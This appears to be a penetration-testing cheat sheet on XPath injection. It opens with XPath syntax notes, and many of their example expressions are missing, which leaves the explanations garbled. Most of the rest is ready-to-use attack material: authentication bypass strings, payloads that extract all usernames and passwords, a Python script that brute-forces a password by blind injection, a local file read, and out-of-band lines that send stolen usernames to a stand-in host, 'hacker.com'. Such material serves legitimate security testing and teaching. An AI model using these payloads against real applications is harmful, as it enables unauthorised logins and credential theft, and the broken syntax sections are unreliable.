XPATH injection

XPath Injection is an attack technique used to exploit applications that construct XPath (XML Path Language) queries from user-supplied input to query or navigate XML documents.

Info about how to make queries: https://www.w3schools.com/xml/xpath_syntax.asp

Basic Syntax





Selects all nodes with the name "nodename"


Selects from the root node


Selects nodes in the document from the current node that match the selection no matter where they are


Selects the current node


Selects the parent of the current node


Selects attributes


Path Expression



Selects all nodes with the name "bookstore"


Selects the root element bookstoreNote: If the path starts with a slash ( / ) it always represents an absolute path to an element!


Selects all book elements that are children of bookstore


Selects all book elements no matter where they are in the document


Selects all book elements that are descendant of the bookstore element, no matter where they are under the bookstore element


Selects all attributes that are named lang


Path Expression



Selects the first book element that is the child of the bookstore element.Note: In IE 5,6,7,8,9 first node is[0], but according to W3C, it is [1]. To solve this problem in IE, set the SelectionLanguage to XPath:

In JavaScript: xml.setProperty("SelectionLanguage","XPath");


Selects the last book element that is the child of the bookstore element


Selects the last but one book element that is the child of the bookstore element


Selects the first two book elements that are children of the bookstore element


Selects all the title elements that have an attribute named lang


Selects all the title elements that have a "lang" attribute with a value of "en"


Selects all the book elements of the bookstore element that have a price element with a value greater than 35.00


Selects all the title elements of the book elements of the bookstore element that have a price element with a value greater than 35.00

Unknown Nodes




Matches any element node


Matches any attribute node


Matches any node of any kind


Path Expression



Selects all the child element nodes of the bookstore element


Selects all elements in the document


Selects all title elements which have at least one attribute of any kind


<?xml version="1.0" encoding="ISO-8859-1"?>

Access the information

All names - [pepe, mark, fino]

All values - [pepe, peponcio, admin, mark, ...]

//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)

count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"

Identify & stealing the schema

and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0

#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)

and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)

#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))

Authentication Bypass

Example of queries:

string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';

OR bypass in user and password (same value in both)

' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())

Select account
Select the account using the username and use one of the previous values in the password field

Abusing null injection

Username: ' or 1]%00

Double OR in Username or in password (is valid with only 1 vulnerable field)

IMPORTANT: Notice that the "and" is the first operation made.

Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())

Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())

Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())

String extraction

The output contains strings and the user can manipulate the values to search:

/user/username[contains(., '+VALUE+')]
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users

Blind Explotation

Get length of a value and extract it by comparisons:

' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"


... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value

Python Example

import requests, string 

flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30): 
    r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i)) 
    if ("TRUE_COND" in r.text): 
        l = i 
print("[+] Password length: " + str(l)) 
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i)) 
    for al in alphabet: 
        r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
        if ("TRUE_COND" in r.text): 
            flag += al
            print("[+] Flag: " + flag) 

Read file

(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127

OOB Exploitation

doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))

#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to

Automatic tool



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